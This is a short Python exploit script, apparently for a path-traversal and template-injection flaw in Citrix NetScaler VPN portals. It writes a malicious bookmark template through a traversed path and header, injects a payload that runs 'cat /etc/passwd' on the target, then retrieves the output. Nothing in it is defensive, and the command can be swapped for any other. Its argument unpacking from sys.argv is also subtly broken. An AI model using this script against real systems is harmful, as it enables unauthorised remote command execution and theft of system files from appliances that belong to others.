#!/usr/bin/python3
import requests
import sys
import uuid

rhost, rport = sys.argv
name = uuid.uuid4().hex[:8]

headers = requests.utils.default_headers()
headers.update({
  'User-Agent': 'Opera 12.14',
  'NSC_USER': f'../../../netscaler/portal/templates/{name}',
  'NSC_NONCE': 'nsroot'
})

command = 'cat /etc/passwd'

data = ({
  "url" : "https://www.google.com",
  "title" : f"{name}",
  "desc" : f"[% template.new({{'BLOCK' = 'print `{command}`'}}) %]",
  "UI_inuse" : ""
})

proxies = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}

response = requests.post(f"https://{rhost}:{rport}/vpn/../vpns/portal/scripts/newbm.pl", data=data, headers=headers, proxies=proxies, verify=False, allow_redirects=False)
if response.status_code == 200:
    print('Created bookmark')
    response = requests.get(f"https://{rhost}:{rport}/vpn/../vpns/portal/{name}.xml", headers=headers, proxies=proxies, verify=False, allow_redirects=False)
    print(response.content)
else:
    print('Exploit failed')
